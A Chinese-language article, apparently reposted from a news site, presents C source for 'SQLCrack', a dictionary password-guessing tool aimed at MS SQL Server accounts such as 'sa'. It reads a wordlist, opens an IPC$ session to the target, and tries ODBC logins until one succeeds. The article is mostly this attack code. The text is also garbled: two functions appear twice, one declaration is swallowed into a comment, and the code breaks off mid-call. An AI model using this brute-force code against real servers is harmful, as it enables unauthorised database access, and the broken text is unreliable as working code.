這篇文章的重點是如何探測MS SQL SERVER帳號的密碼,下面以一個執行個體來說明探測密碼的全過程。
//程式所用到的標頭檔
//定義全域變數
char dict[20000][40],//準備探測的密碼
UserName[40],//使用者名稱
target[40],//目標伺服器
passwd[40];//已經探測出來的正確密碼
int total=0;//字典裡面單詞數量
BOOL Cracked=FALSE;//探測密碼成功時此值為TRUE
//
//函數:usage
//功能:顯示程式協助資訊
//
void usage()
{
printf("\nPower by analyzer〈
[email]inmiao@163.com[/email]
〉"
"\nhttp://www.infocn.com"
"\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"
"\nExample:SQLCrack 192.168.0.1 sa c:\pwd.dic 50\n");return;
}
//
//函數:ReadDic
//功能:從字典檔案裡面讀取資料,傳遞給全域變數dict,準備探測密碼
//說明:函數運行失敗傳回值1,成功返回0
//
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];
//開啟字典檔案
if((fp=fopen(dic,"r"))==NULL)
{
printf("\nCan't open %s",dic);
return 1;
}
while(!feof(fp))
{
//讀取資料到臨時變數
if(fgets(tmp,40,fp)==NULL)
break;
//這裡別忘了把從檔案裡面讀出來的最後一位元據[分行符號號]去掉,不然就探測不出來密碼了
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
//因為dict定義為dict[20000][40],所以這裡如果字典裡面的單詞超出20000就退出迴圈
//不然就會溢出啦.可以自行調準
if(total〉=20000)
break;
}
fclose(fp);
return 0;
}
//
//函數:ConnIPC
//功能:建立IPC串連
//說明:串連失敗傳回值1,成功傳回值0
//
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
DWORD flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]="",
LN[5]="";
strcat(RN,RemoteName);
strcat(RN,"\ipc$");
//填充資料結構
nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;
if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
//
//函數:DelIPC
//功能:斷開IPC Session
//說明:成功傳回值0,否則返回1
//
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="";
strcat(lpName,RemoteName);
strcat(lpName,"\ipc$");
ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
//
//函數SQLCheck
//功能:嘗試用不同密碼串連SQL Server,探測出正確的密碼
//
DWORD WINAPI SQLCheck(PVOID pPwd)
{
//定義局部變數
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API運行傳回值SCHAR ConnStr[200];//串連資料庫字串
//取得傳遞過來準備探測的密碼
pwd=(char *)pPwd;
//構造串連資料庫字元
strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");
strcat(ConnStr,target);
strcat(ConnStr,";UID=");
strcat(ConnStr,UserName);
strcat(ConnStr,";PWD=");
strcat(ConnStr,pwd);
strcat(ConnStr,";DATABASE=master");
//puts(ConnStr);
//建立資料庫應用的環境控制代碼
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
return 0;
}
//printf("henv..");
//設定ODBC版本環境
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
return 0;
}
//printf("ODBC ver..");
//建立串連控制代碼
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
return 0;
}
//printf("hdbc..");
//串連資料來源
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),szBuffer,sizeof
(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
//printf("conn..");
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
//串連失敗,函數終止
//printf("\nCouldn't connect to %s MSSQL server.\n",target);
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
SQLFreeHandle(SQL_HANDLE_ENV, henv);
return 0;
}
//串連遠程MSSQL Server資料庫成功
Cracked=TRUE;
strcpy(passwd,pwd);
//puts(szBuffer);
//顯示串連遠端資料庫的字串
//中斷連線
SQLDisconnect(hdbc);
//printf("disconn..");
//釋放串連控制代碼
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
//printf("free hdbc..");
//釋放環境控制代碼
SQLFreeHandle(SQL_HANDLE_ENV, henv);
//printf("free henv..\n");
return 0;
}
//
//函數:DelIPC
//功能:斷開IPC Session
//說明:成功傳回值0,否則返回1
//
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="";
strcat(lpName,RemoteName);
strcat(lpName,"\ipc$");ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,
TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
//
//函數SQLCheck
//功能:嘗試用不同密碼串連SQL Server,探測出正確的密碼
//
DWORD WINAPI SQLCheck(PVOID pPwd)
{
//定義局部變數
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API運行傳回值
SCHAR ConnStr[200];//串連資料庫字串
//取得傳遞過來準備探測的密碼
pwd=(char *)pPwd;
//構造串連資料庫字元
strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");
strcat(ConnStr,target);
strcat(ConnStr,";UID=");
strcat(ConnStr,UserName);
strcat(ConnStr,";PWD=");
strcat(ConnStr,pwd);
strcat(ConnStr,";DATABASE=master");
//puts(ConnStr);
//建立資料庫應用的環境控制代碼
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS){
printf("\nAllocate environment handle failed.\n");
return 0;
}
//printf("henv..");
//設定ODBC版本環境
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
return 0;
}
//printf("ODBC ver..");
//建立串連控制代碼
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
return 0;
}
//printf("hdbc..");
//串連資料來源
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&
出處:計世網